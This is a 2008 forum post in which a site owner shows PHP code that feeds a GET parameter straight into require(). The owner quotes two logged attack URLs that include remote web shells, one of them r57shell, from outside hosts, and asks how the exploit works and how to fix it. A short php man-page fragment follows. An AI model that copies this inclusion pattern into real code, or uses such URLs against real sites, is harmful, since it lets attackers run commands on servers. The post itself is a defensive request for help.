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Full Discussion: php http exploit method - pbsync hack question
Top Forums Shell Programming and Scripting php http exploit method - pbsync hack question Post 302239668 by phpfreak on Wednesday 24th of September 2008 07:58:40 AM
Old 09-24-2008
exploit method - pbsync hack question
I'm dealing with a website that was recently blocked by the webhost because pbsync was found on the server. I'd like for someone to give me 'a tutorial' if you will or guidance on how they are able to accomplish the below scenario..

index.php consist primarily of these tables with the following code:

Code:
  <tbody>

    <tr align="left">

      <td style="height: 100px;" colspan="2" rowspan="1">
        <a name="top"></a>
        <? require("top.html"); ?>
        </td>

    </tr>

    <tr>

      <td style="width: 150px;" align="left" valign="top">
        <? require("menu.html"); ?>
        </td>

        <?
        $_GET['p']=$p;
        if ($_GET['p']==NULL)
        {
          $p="accueil.html";
        }
        ?>
      <td style="width: 550px;" align="left" valign="top">

<table style="text-align: left; width: 100%;" border="0"
 cellpadding="2" cellspacing="2">
  <tbody>
    <tr>
      <td>

       <? require($p); ?>

        <br>
        <div align="right"><a href="#top">Haut de page</a></div>

        </td>
    </tr>
  </tbody>

^^Somehow because of this, the site is completely exploitable to requests like...


Code:
http://x.x.x.x/index.php?p=http://www.myrentaldesk.com/vote-pro/readme.txt??

&
Code:
http://x.x.x.x/index.php?p=http://almeriastay.com/images/r57.txt


^^Basically with the above, the site is completely vulnerable to malicious scripts on the net!! I found the first to be a web face to run shell commands on the server, and the second to be r57shell 1.3.

I'd like to know, with the code shown above, what method is being used to allow for this type of an exploit and how can it be re-written to prevent it? I'm sure this is method is logged somewhere on the php.net but I'm not sure what the exact term is for the scripting method used. All I know is that it seems that they are using frames through php script and it's exploitable with the right URL request.

Please, any feedback would be appreciated.
Last edited by phpfreak; 09-24-2008 at 09:09 AM..
 

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OPTIONS

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		      Configure options to recreate configuration of current PHP installation
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       SEE ALSO
	      php(1)

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